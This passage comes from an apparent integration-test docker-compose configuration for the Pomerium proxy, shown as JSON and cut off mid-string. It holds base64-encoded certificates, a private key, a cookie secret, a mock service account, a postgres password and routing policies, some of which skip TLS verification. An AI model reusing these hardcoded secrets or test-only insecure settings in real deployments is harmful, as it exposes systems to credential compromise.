\"trusted-3-httpdetails-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"trusted-httpdetails-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"untrusted-httpdetails-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"verify-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"websocket-echo-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"wrongly-named-httpdetails-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        }\n      },\n      \"environment\": {\n        \"AUTHENTICATE_SERVICE_URL\": \"https://authenticate.localhost.pomerium.io\",\n        \"CERTIFICATE\": \"LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVVakNDQXJxZ0F3SUJBZ0lSQUtOYUVxQ21tWmZobWNZZ1p5MDFXQ3N3RFFZSktvWklodmNOQVFFTEJRQXcKZ1lNeEhqQWNCZ05WQkFvVEZXMXJZMlZ5ZENCa1pYWmxiRzl3YldWdWRDQkRRVEVzTUNvR0ExVUVDd3dqWTJGcwpaV0pBWTJGc1pXSXRjR010YkdsdWRYZ2dLRU5oYkdWaUlFUnZlSE5sZVNreE16QXhCZ05WQkFNTUttMXJZMlZ5CmRDQmpZV3hsWWtCallXeGxZaTF3WXkxc2FXNTFlQ0FvUTJGc1pXSWdSRzk0YzJWNUtUQWVGdzB5TVRBNE1UQXgKTnpNeU1UQmFGdzB5TXpFeE1UQXhPRE15TVRCYU1GY3hKekFsQmdOVkJBb1RIbTFyWTJWeWRDQmtaWFpsYkc5dwpiV1Z1ZENCalpYSjBhV1pwWTJGMFpURXNNQ29HQTFVRUN3d2pZMkZzWldKQVkyRnNaV0l0Y0dNdGJHbHVkWGdnCktFTmhiR1ZpSUVSdmVITmxlU2t3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQzgKSExCQUl6WGtQZWVnbGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRAp5VmhEVDBRbEkvTy9FS2dDT0ZGeFVEcW9SODJpWTA2U2FjQWpIbmk2K1BPOXRWUmJGVjB3MTRCREFKU3BCK1Z2Cld5bCtGb1BEVi92c1ozMUZ0WXcrRXdxa2JEeC9rYVQ5dXpmK0xKZGxrZjE0blFRajhFa3kvOGQzbVdKYmIvOXQKak9ic2FRZ0o1TEx4Q1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcQpiWlVERytaaW9BclBtcW1rYXdVV3czZWtoajgwU0pnL1RLOVBSYU4vVnZjSTFQZ0FkN0xaenRVUmVTbVR5NWhkCjlyNnJPQnhweHduVER2SGtCbjZ2QWdNQkFBR2piREJxTUE0R0ExVWREd0VCL3dRRUF3SUZvREFUQmdOVkhTVUUKRERBS0JnZ3JCZ0VGQlFjREFUQWZCZ05WSFNNRUdEQVdnQlNGaGxoWWdFZktUcGxWT2VuZVZHMyszSUUvVFRBaQpCZ05WSFJFRUd6QVpnaGNxTG14dlkyRnNhRzl6ZEM1d2IyMWxjbWwxYlM1cGJ6QU5CZ2txaGtpRzl3MEJBUXNGCkFBT0NBWUVBdWZRQUY3OXM3YzFnbVo5Q0lLQlNHa0hoK1NIMDFDdUtZbm5IaU1vd0hzVGlvRmFVQVFzZC9QNFgKYzJYQnFjMzRlVDNtQ3ZwZ1pqSGJqejZKbG5UWUp4dUx2VnFuVkIzZW10V3JiMWNRdmg4QnBoeHNwVGxTOHVpRQpBRWYvbmd0cHpmQS9mNGxwR2t6clEwY3lQa0VKR3o1MTFxOTdpdHpuOVJaWnpWVFp4TlZGU1AydlZoTk5RVnNXCk94YWtjdllSZ256OEFPUVMzT1BIajJGUWMzaWlic2hjdDVsZUl3WVpGY3hJTkdIUjZLTDYrL0xTZVBOQ0VNbUsKcXltVlBrUUdzSWNVNkdROWZ4YVN1NG1wK0lVQUxQcm9pekVWSThTVms1bk9tM0hJZXorWmZYaHpmbkd4MDZTSQo2TnVvUVFQcVVCZVplWG4yWUZZaGlwZVJkclF4dkEzNi9ZWGEvQWtYQ2VVMHBYeGJ0WEtjdmF0ZnJpNUtuWUpECmtINTlhK2FGa1RzbDQxdGZJMmNuUllWZGRxWFZsM096TGJjZ0FGTG4xV2VDMXh4M3hSWGk3S2xkb2tPbHZndisKQjZuYVdmQ3hSbFdaL2xzbUhhZTRrYzFXSDRLYzduSytJVGI0MEVralY2OC9BN2tyWnNOMVZjcU50cG9tWWtnRQp4alVFOFhVdQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==\",\n        \"CERTIFICATE_AUTHORITY\": \"LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUUxekNDQXorZ0F3SUJBZ0lRWjEzOWNkL3BhUGRrUzJKeUF1N2tFREFOQmdrcWhraUc5dzBCQVFzRkFEQ0IKZ3pFZU1Cd0dBMVVFQ2hNVmJXdGpaWEowSUdSbGRtVnNiM0J0Wlc1MElFTkJNU3d3S2dZRFZRUUxEQ05qWVd4bApZa0JqWVd4bFlpMXdZeTFzYVc1MWVDQW9RMkZzWldJZ1JHOTRjMlY1S1RFek1ERUdBMVVFQXd3cWJXdGpaWEowCklHTmhiR1ZpUUdOaGJHVmlMWEJqTFd4cGJuVjRJQ2hEWVd4bFlpQkViM2h6WlhrcE1CNFhEVEl4TURneE1ERTMKTXpJd09Wb1hEVE14TURneE1ERTNNekl3T1Zvd2dZTXhIakFjQmdOVkJBb1RGVzFyWTJWeWRDQmtaWFpsYkc5dwpiV1Z1ZENCRFFURXNNQ29HQTFVRUN3d2pZMkZzWldKQVkyRnNaV0l0Y0dNdGJHbHVkWGdnS0VOaGJHVmlJRVJ2CmVITmxlU2t4TXpBeEJnTlZCQU1NS20xclkyVnlkQ0JqWVd4bFlrQmpZV3hsWWkxd1l5MXNhVzUxZUNBb1EyRnMKWldJZ1JHOTRjMlY1S1RDQ0FhSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnR1BBRENDQVlvQ2dnR0JBTmJLeU16NQpNVlc2WUtkamgxb0lOMU1uN1BFMnBINVNiSlNwV3hkQUdoZEJrQmtwQWE3T3hhcmpINUtWa0NUU2E3b25jbGE3CnFOdUpaUzZtQm1veEYrUitjUjNqeUdkVUFZbG96bDFqbGZxTElmQy8rZzdWN1ZtT0puOTh0akI0MmZhdHhMbDYKV1BBdzFKRE5zV3RRZmhLaGJjSHV0N1JzRjByTU9PSGN3eXdUUjdMT3lDbUllbDFwY21wVjRoYlZjVDZlVndvUApIWHlKU2E5Y3FhTVE1WHJkb2dhaTRJcVpaSUdMSGVMc1RWdXRPZ0pGWEVldmxYL1FUM3NXb21FY3R6aDM4SnM0CjlEaUFQRDZkNFk3L0NQTFlFZmsyOUpROU5aaHBnRHNpOWh1NUZISFpjWHdmMUlIbHcvQ0JWZ242aitqbXZLS3oKOTBNYTFvcXV2M1c2ZHR0aWQveENjTEd1MlMrOTZUenJ5a21veTVWYWNMdFZFUDQxWW1vVmxzOTFybG83b2xwZQpRV0Zibm1jbzczOVRJLzRoK0hvZG9scGVyUUVSUWw3dUNucEtWUFozV29rS3VSaDVwa3FrUXAvYXJRanR3Y1J0Ckc0M0NyRHBibCt1U2pNQ0F4aGE5NThlVFl2dG9qVE1udkx0c0dJRDFoR1hucWx3KzVLaktyZ1JIclFJREFRQUIKbzBVd1F6QU9CZ05WSFE4QkFmOEVCQU1DQWdRd0VnWURWUjBUQVFIL0JBZ3dCZ0VCL3dJQkFEQWRCZ05WSFE0RQpGZ1FVaFlaWVdJQkh5azZaVlRucDNsUnQvdHlCUDAwd0RRWUpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFBMUYvYXByCmw2cE5UM01wL014aFVVZ282dXNFSkNyeUdRY0xSZmV4eVFYR04zaHVDbUlyUDU1VkZhOEVUUEF0anNyNlBNZTcKN3Z2RWo4ZUZ1Mkp0S292bFF3TmV3WVU5Y2pBTUNWYUZpTmJyUWEyMGh6aFdjMmpzNmR5aWxkRTYvRFB6YmVkcwpLREF4aEZOcDM1U2x3dFJ0S2sxU3p4SnhzcVN3amZ4SThmcCtSLzB3TzhnMGZXVGRNMmdDcFJ3WU1Od0pFTEVnCitkU2x2SkN3dXUrcnp4TGFsemFQRjFQTVRXNzJPRUxhbC9qNXNEKzJWeXRRNGsrSFVEYnl0MkRuUVQ3WVEzem8KcTAyeDJ1MnNtMVdXL28vdWg4cGpQeGtHUXFMMm1yeVpzNlZIOVZDVTNRa0tORHNzTmQ3MWxyM3dQb0U0WVJIZQpVdnpEMWVEZWVsekJVRk5JcERDamRDc0w1NXlJUHFVc3I2bG1qcEJQTDB2ZWEzM1FUTWJjc1N4dTB1bUdYRGJVCjY2anVVNFoxak9FMHdDbEl2YU82OTlKK0UyZ0JlMWpVTjZBdDZiOEJTb1pxQ3FYWW9ESEdlaTlSQlVkdmdxdG8Ka1Zzb0pmREkvVEZNZWtZZ3BMNVVWWW1MZGZncUxQUFJQOXBRQkxEeDNtc3plQXFudmZUSUNBemZYZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K\",\n        \"CERTIFICATE_KEY\": \"LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2UUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktjd2dnU2pBZ0VBQW9JQkFRQzhITEJBSXpYa1BlZWcKbGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRHlWaERUMFFsSS9PLwpFS2dDT0ZGeFVEcW9SODJpWTA2U2FjQWpIbmk2K1BPOXRWUmJGVjB3MTRCREFKU3BCK1Z2V3lsK0ZvUERWL3ZzClozMUZ0WXcrRXdxa2JEeC9rYVQ5dXpmK0xKZGxrZjE0blFRajhFa3kvOGQzbVdKYmIvOXRqT2JzYVFnSjVMTHgKQ1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcWJaVURHK1ppb0FyUAptcW1rYXdVV3czZWtoajgwU0pnL1RLOVBSYU4vVnZjSTFQZ0FkN0xaenRVUmVTbVR5NWhkOXI2ck9CeHB4d25UCkR2SGtCbjZ2QWdNQkFBRUNnZ0VBQjI4aTBBWVVOU2IxSm5XRmJLenJ1VWN0dTN0Q05Yb3ZKZzZLM0JpUFZNa3EKRFQxWHJKSWdGNVJISE9scjNPc0xFNnU3WHoyY3RkTUw2UHNoaUtUdEl3dEdwaXZnUnBDaUpFc2xtcjJ6aThBVwo4ZUplcVJMWkVmc1NTSk9YVEc3UmRHc240cUhGSjAwczJaVGxjSUhTUHduRm0rWGpKaTk5VThHNFhzVW9YbzByCkd5KzBWQ3VVN004Z0lDRUhIc3JRTzlYREQzblQyaml1NVRqckt3anV0M0Vtb0pzc0k1YnF4MzMrT0J1NUJwQ1AKQ1Q0NzNENDNQOXAzcWkvWG5mdnFHU0cyT2o0T2FqVjRmcjBvOUIzS3ZJeGtNZW03V2xJM2p5eTFrQXB5WHFWVApiTGtMRnlXQk5UV1VaMlIvMnd4bXVvQzZtTFp3ODc5TUxDS012azFkb1FLQmdRRGhtd0dhZkpOeW1UaUVRWlJJClNzUXg0c2VxZk9LZmdGQzdvaHFIOWNST091OElKMW83cTJwTTJXNFhpVitTM3dUZFBHbWNhNklPalgyM2lzVkIKMnVxTmk5UzRNbkkyL2QyMkdkL0JSOXJ2QncxZUdKb0ticld4MjJmRThRQ0VXVDFBbk8rRHVEMGpDODV5UmxzNwpheHpsYU1yeEV1M0xJOVVFN050cmRRaUJ5UUtCZ1FEVmRJNmNlSVZCVDZSZ3ZWR3Q4emtMalBJRmpoUUVIQUlwCnVoaXJncXBTNkNYOUJseWYyK280MHptZmozaGU1ckNjRW9CNU1zZU0rRGdGYmNWaDJlL01WbllpTk53NkpDREIKQlFrRjQwOHBacFNlS1h2TC9veVYva0ltTVRKL3RVRFkwRVh4TXdTUEpCMFdsdGJXcmVWSUhvcGlnWFJDYmFleQp1QkhWQnYvNHR3S0JnSHdIdWVQeTVTVTFzMnFTbXpEN1djMkxQZll1M25DT0hOUnJGR2IyNk11UmZ1UmVyaTdyCjJHOFRnb0VTRnljcDBRVElOOCsxSk0wWFlLeE5jSkQ2QjhWMXdLYmJwUXN5bW5lSTFnanV0aUIvSWd3L1BrREsKQ0w0VlA0RjRkYTVOV1cxeVdnTnlnTG9KdlovNXFpS0tpc0pjMEdXazRIS3o2bUxnek9qUTJMSnhBb0dCQUxIWgpmTjJZZVlieVljYU0xMXAxVmlsdWxWVFZqWTNpL0ZaaURSNFNML0lHSldqTi9Temc0aVhZc0tGbXUrZHVsT1psCmNCQUxwRUtycXBtelhZdHJONmJzdjE4KzVlTzNxR2JLMkRyRXEzZVdWZXYyS29UTW9ieHo3ZysrWEJJV0ptTEEKSGhhYTZJaVBrWUQ1eXlWeUhLRGJlWGdiM285ZXFDUjd3N2ZZTGp5L0FvR0FJNEQrTUZraXZ3VUY3aHFmNWVkUwpLcmx0d21vZEhpcVhOYlZrd2JXMUFGUEpiaVlhaTRZRmZLNElBYmlmL1lteGY5Rzc4YU9rcjlacENJek9rRFBaCllwRXdRR1dzQWhFbENGdmM4RS81ZEhFU1NwK3RXdFArTmx1aW1wRnFpRGczL1NVbk13TzJ4SDBuaExhMHplamgKZ21MaDR3L0NjUHliOVp5WGNlV1UvblU9Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K\",\n        \"COOKIE_SECRET\": \"UYgnt8bxxK5G2sFaNzyqi5Z+OgF8m2akNc0xdQx718w=\",\n        \"DATABROKER_STORAGE_CONNECTION_STRING\": \"postgres://pomerium:password@postgres:5432/test\",\n        \"DATABROKER_STORAGE_TYPE\": \"postgres\",\n        \"ENVOY_ADMIN_ADDRESS\": \"0.0.0.0:9901\",\n        \"GOOGLE_CLOUD_SERVERLESS_AUTHENTICATION_SERVICE_ACCOUNT\": \"ewoiYXV0aF9wcm92aWRlcl94NTA5X2NlcnRfdXJsIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKImF1dGhfdXJpIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKImNsaWVudF9lbWFpbCI6ICJyZWRhY3RlZEBwb21lcml1bS1yZWRhY3RlZC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsCiJjbGllbnRfaWQiOiAiMTAxMjE1OTkwNDU4MDAwMzM0Mzg3IiwKImNsaWVudF94NTA5X2NlcnRfdXJsIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKInByaXZhdGVfa2V5IjogIi0tLS0tQkVHSU4gUFJJVkFURSBLRVktLS0tLVxuTUlJRXZRSUJBREFOQmdrcWhraUc5dzBCQVFFRkFBU0NCS2N3Z2dTakFnRUFBb0lCQVFDOEhMQkFJelhrUGVlZ1xubGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRHlWaERUMFFsSS9PL1xuRUtnQ09GRnhVRHFvUjgyaVkwNlNhY0FqSG5pNitQTzl0VlJiRlYwdzE0QkRBSlNwQitWdld5bCtGb1BEVi92c1xuWjMxRnRZdytFd3FrYkR4L2thVDl1emYrTEpkbGtmMTRuUVFqOEVreS84ZDNtV0piYi85dGpPYnNhUWdKNUxMeFxuQ1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcWJaVURHK1ppb0FyUFxubXFta2F3VVd3M2VraGo4MFNKZy9USzlQUmFOL1Z2Y0kxUGdBZDdMWnp0VVJlU21UeTVoZDlyNnJPQnhweHduVFxuRHZIa0JuNnZBZ01CQUFFQ2dnRUFCMjhpMEFZVU5TYjFKbldGYkt6cnVVY3R1M3RDTlhvdkpnNkszQmlQVk1rcVxuRFQxWHJKSWdGNVJISE9scjNPc0xFNnU3WHoyY3RkTUw2UHNoaUtUdEl3dEdwaXZnUnBDaUpFc2xtcjJ6aThBV1xuOGVKZXFSTFpFZnNTU0pPWFRHN1JkR3NuNHFIRkowMHMyWlRsY0lIU1B3bkZtK1hqSmk5OVU4RzRYc1VvWG8wclxuR3krMFZDdVU3TThnSUNFSEhzclFPOVhERDNuVDJqaXU1VGpyS3dqdXQzRW1vSnNzSTVicXgzMytPQnU1QnBDUFxuQ1Q0NzNENDNQOXAzcWkvWG5mdnFHU0cyT2o0T2FqVjRmcjBvOUIzS3ZJeGtNZW03V2xJM2p5eTFrQXB5WHFWVFxuYkxrTEZ5V0JOVFdVWjJSLzJ3eG11b0M2bUxadzg3OU1MQ0tNdmsxZG9RS0JnUURobXdHYWZKTnltVGlFUVpSSVxuU3NReDRzZXFmT0tmZ0ZDN29ocUg5Y1JPT3U4SUoxbzdxMnBNMlc0WGlWK1Mzd1RkUEdtY2E2SU9qWDIzaXNWQlxuMnVxTmk5UzRNbkkyL2QyMkdkL0JSOXJ2QncxZUdKb0ticld4MjJmRThRQ0VXVDFBbk8rRHVEMGpDODV5UmxzN1xuYXh6bGFNcnhFdTNMSTlVRTdOdHJkUWlCeVFLQmdRRFZkSTZjZUlWQlQ2Umd2Vkd0OHprTGpQSUZqaFFFSEFJcFxudWhpcmdxcFM2Q1g5Qmx5ZjIrbzQwem1majNoZTVyQ2NFb0I1TXNlTStEZ0ZiY1ZoMmUvTVZuWWlOTnc2SkNEQlxuQlFrRjQwOHBacFNlS1h2TC9veVYva0ltTVRKL3RVRFkwRVh4TXdTUEpCMFdsdGJXcmVWSUhvcGlnWFJDYmFleVxudUJIVkJ2LzR0d0tCZ0h3SHVlUHk1U1UxczJxU216RDdXYzJMUGZZdTNuQ09ITlJyRkdiMjZNdVJmdVJlcmk3clxuMkc4VGdvRVNGeWNwMFFUSU44KzFKTTBYWUt4TmNKRDZCOFYxd0tiYnBRc3ltbmVJMWdqdXRpQi9JZ3cvUGtES1xuQ0w0VlA0RjRkYTVOV1cxeVdnTnlnTG9KdlovNXFpS0tpc0pjMEdXazRIS3o2bUxnek9qUTJMSnhBb0dCQUxIWlxuZk4yWWVZYnlZY2FNMTFwMVZpbHVsVlRWalkzaS9GWmlEUjRTTC9JR0pXak4vU3pnNGlYWXNLRm11K2R1bE9abFxuY0JBTHBFS3JxcG16WFl0ck42YnN2MTgrNWVPM3FHYksyRHJFcTNlV1ZldjJLb1RNb2J4ejdnKytYQklXSm1MQVxuSGhhYTZJaVBrWUQ1eXlWeUhLRGJlWGdiM285ZXFDUjd3N2ZZTGp5L0FvR0FJNEQrTUZraXZ3VUY3aHFmNWVkU1xuS3JsdHdtb2RIaXFYTmJWa3diVzFBRlBKYmlZYWk0WUZmSzRJQWJpZi9ZbXhmOUc3OGFPa3I5WnBDSXpPa0RQWlxuWXBFd1FHV3NBaEVsQ0Z2YzhFLzVkSEVTU3ArdFd0UCtObHVpbXBGcWlEZzMvU1VuTXdPMnhIMG5oTGEwemVqaFxuZ21MaDR3L0NjUHliOVp5WGNlV1UvblU9XG4tLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tXG4iLAoicHJpdmF0ZV9rZXlfaWQiOiAiZTA3ZjdjOTM4NzBjN2UwM2Y4ODM1NjBlY2Q4ZmQwZjRkMjdiMDA4MSIsCiJwcm9qZWN0X2lkIjogInBvbWVyaXVtLXJlZGFjdGVkIiwKInRva2VuX3VyaSI6ICJodHRwOi8vbW9jay1pZHA6ODAyNC90b2tlbiIsCiJ0eXBlIjogInNlcnZpY2VfYWNjb3VudCIKfQ==\",\n        \"IDP_CLIENT_ID\": \"CLIENT_ID\",\n        \"IDP_CLIENT_SECRET\": \"CLIENT_SECRET\",\n        \"IDP_PROVIDER\": \"oidc\",\n        \"IDP_PROVIDER_URL\": \"https://mock-idp.localhost.pomerium.io/\",\n        \"JWT_CLAIMS_HEADERS\": \"email,groups,user\",\n        \"LOG_LEVEL\": \"info\",\n        \"POLICY\": \"Wwp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vbW9jay1pZHAubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInByZXNlcnZlX2hvc3RfaGVhZGVyIjogdHJ1ZSwKInRvIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0Igp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZW52b3kubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly9sb2NhbGhvc3Q6OTkwMSIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vdmVyaWZ5LmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXNzX2lkZW50aXR5X2hlYWRlcnMiOiB0cnVlLAoidG8iOiAiaHR0cDovL3ZlcmlmeTo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiYWxsb3dfd2Vic29ja2V0cyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vd2Vic29ja2V0LWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZm9ydGlvLXVpLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJ0byI6ICJodHRwczovL2ZvcnRpbzo4MDgwIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZm9ydGlvLXBpbmcubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRsc19jdXN0b21fY2EiOiAiTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVVXhla05EUVhvclowRjNTVUpCWjBsUldqRXpPV05rTDNCaFVHUnJVekpLZVVGMU4ydEZSRUZPUW1kcmNXaHJhVWM1ZHpCQ1FWRnpSa0ZFUTBJS1ozcEZaVTFDZDBkQk1WVkZRMmhOVm1KWGRHcGFXRW93U1VkU2JHUnRWbk5pTTBKMFdsYzFNRWxGVGtKTlUzZDNTMmRaUkZaUlVVeEVRMDVxV1ZkNGJBcFphMEpxV1ZkNGJGbHBNWGRaZVRGellWYzFNV1ZEUVc5Uk1rWnpXbGRKWjFKSE9UUmpNbFkxUzFSRmVrMUVSVWRCTVZWRlFYZDNjV0pYZEdwYVdFb3dDa2xIVG1oaVIxWnBVVWRPYUdKSFZtbE1XRUpxVEZkNGNHSnVWalJKUTJoRVdWZDRiRmxwUWtWaU0yaDZXbGhyY0UxQ05GaEVWRWw0VFVSbmVFMUVSVE1LVFhwSmQwOVdiMWhFVkUxNFRVUm5lRTFFUlROTmVrbDNUMVp2ZDJkWlRYaElha0ZqUW1kT1ZrSkJiMVJHVnpGeVdUSldlV1JEUW10YVdGcHNZa2M1ZHdwaVYxWjFaRU5DUkZGVVJYTk5RMjlIUVRGVlJVTjNkMnBaTWtaeldsZEtRVmt5Um5OYVYwbDBZMGROZEdKSGJIVmtXR2RuUzBWT2FHSkhWbWxKUlZKMkNtVklUbXhsVTJ0NFRYcEJlRUpuVGxaQ1FVMU5TMjB4Y2xreVZubGtRMEpxV1ZkNGJGbHJRbXBaVjNoc1dXa3hkMWw1TVhOaFZ6VXhaVU5CYjFFeVJuTUtXbGRKWjFKSE9UUmpNbFkxUzFSRFEwRmhTWGRFVVZsS1MyOWFTV2gyWTA1QlVVVkNRbEZCUkdkblIxQkJSRU5EUVZsdlEyZG5SMEpCVG1KTGVVMTZOUXBOVmxjMldVdGthbWd4YjBsT01VMXVOMUJGTW5CSU5WTmlTbE53VjNoa1FVZG9aRUpyUW10d1FXRTNUM2hoY21wSU5VdFdhME5VVTJFM2IyNWpiR0UzQ25GT2RVcGFVelp0UW0xdmVFWXJVaXRqVWpOcWVVZGtWVUZaYkc5NmJERnFiR1p4VEVsbVF5OHJaemRXTjFadFQwcHVPVGgwYWtJME1tWmhkSGhNYkRZS1YxQkJkekZLUkU1elYzUlJabWhMYUdKalNIVjBOMUp6UmpCeVRVOVBTR04zZVhkVVVqZE1UM2xEYlVsbGJERndZMjF3VmpSb1lsWmpWRFpsVm5kdlVBcElXSGxLVTJFNVkzRmhUVkUxV0hKa2IyZGhhVFJKY1ZwYVNVZE1TR1ZNYzFSV2RYUlBaMHBHV0VWbGRteFlMMUZVTTNOWGIyMUZZM1I2YURNNFNuTTBDamxFYVVGUVJEWmtORmszTDBOUVRGbEZabXN5T1VwUk9VNWFhSEJuUkhOcE9XaDFOVVpJU0ZwaldIZG1NVWxJYkhjdlEwSldaMjQyYWl0cWJYWkxTM29LT1RCTllURnZjWFYyTTFjMlpIUjBhV1F2ZUVOalRFZDFNbE1yT1RaVWVuSjVhMjF2ZVRWV1lXTk1kRlpGVURReFdXMXZWbXh6T1RGeWJHODNiMnh3WlFwUlYwWmlibTFqYnpjek9WUkpMelJvSzBodlpHOXNjR1Z5VVVWU1VXdzNkVU51Y0V0V1VGb3pWMjlyUzNWU2FEVndhM0ZyVVhBdllYSlJhblIzWTFKMENrYzBNME55UkhCaWJDdDFVMnBOUTBGNGFHRTVOVGhsVkZsMmRHOXFWRTF1ZGt4MGMwZEpSREZvUjFodWNXeDNLelZMYWt0eVoxSkljbEZKUkVGUlFVSUtiekJWZDFGNlFVOUNaMDVXU0ZFNFFrRm1PRVZDUVUxRFFXZFJkMFZuV1VSV1VqQlVRVkZJTDBKQlozZENaMFZDTDNkSlFrRkVRV1JDWjA1V1NGRTBSUXBHWjFGVmFGbGFXVmRKUWtoNWF6WmFWbFJ1Y0ROc1VuUXZkSGxDVURBd2QwUlJXVXBMYjFwSmFIWmpUa0ZSUlV4Q1VVRkVaMmRIUWtGQk1VWXZZWEJ5Q213MmNFNVVNMDF3TDAxNGFGVlZaMjgyZFhORlNrTnllVWRSWTB4U1ptVjRlVkZZUjA0emFIVkRiVWx5VURVMVZrWmhPRVZVVUVGMGFuTnlObEJOWlRjS04zWjJSV280WlVaMU1rcDBTMjkyYkZGM1RtVjNXVlU1WTJwQlRVTldZVVpwVG1KeVVXRXlNR2g2YUZkak1tcHpObVI1YVd4a1JUWXZSRkI2WW1Wa2N3cExSRUY0YUVaT2NETTFVMngzZEZKMFMyc3hVM3A0U25oemNWTjNhbVo0U1RobWNDdFNMekIzVHpobk1HWlhWR1JOTW1kRGNGSjNXVTFPZDBwRlRFVm5DaXRrVTJ4MlNrTjNkWFVyY25wNFRHRnNlbUZRUmpGUVRWUlhOekpQUlV4aGJDOXFOWE5FS3pKV2VYUlJOR3NyU0ZWRVlubDBNa1J1VVZRM1dWRXplbThLY1RBeWVESjFNbk50TVZkWEwyOHZkV2c0Y0dwUWVHdEhVWEZNTW0xeWVWcHpObFpJT1ZaRFZUTlJhMHRPUkhOelRtUTNNV3h5TTNkUWIwVTBXVkpJWlFwVmRucEVNV1ZFWldWc2VrSlZSazVKY0VSRGFtUkRjMHcxTlhsSlVIRlZjM0kyYkcxcWNFSlFUREIyWldFek0xRlVUV0pqYzFONGRUQjFiVWRZUkdKVkNqWTJhblZWTkZveGFrOUZNSGREYkVsMllVODJPVGxLSzBVeVowSmxNV3BWVGpaQmREWmlPRUpUYjFweFEzRllXVzlFU0VkbGFUbFNRbFZrZG1keGRHOEthMVp6YjBwbVJFa3ZWRVpOWld0WlozQk1OVlZXV1cxTVpHWm5jVXhRVUZKUU9YQlJRa3hFZUROdGMzcGxRWEZ1ZG1aVVNVTkJlbVpZWnowOUNpMHRMUzB0UlU1RUlFTkZVbFJKUmtsRFFWUkZMUzB0TFMwSyIsCiJ0bHNfc2VydmVyX25hbWUiOiAiZm9ydGlvLXBpbmcubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHBzOi8vZm9ydGlvOjgwNzkiCn0sCnsKImFsbG93X2FueV9hdXRoZW50aWNhdGVkX3VzZXIiOiB0cnVlLAoiZnJvbSI6ICJ0Y3AraHR0cHM6Ly9yZWRpcy5sb2NhbGhvc3QucG9tZXJpdW0uaW86NjM3OSIsCiJ0byI6ICJ0Y3A6Ly9yZWRpczo2Mzc5Igp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhdGgiOiAiL3Rscy1za2lwLXZlcmlmeS1lbmFibGVkIiwKInRsc19za2lwX3ZlcmlmeSI6IHRydWUsCiJ0byI6ICJodHRwczovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtc2tpcC12ZXJpZnktZGlzYWJsZWQiLAoidGxzX3NraXBfdmVyaWZ5IjogZmFsc2UsCiJ0byI6ICJodHRwczovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewo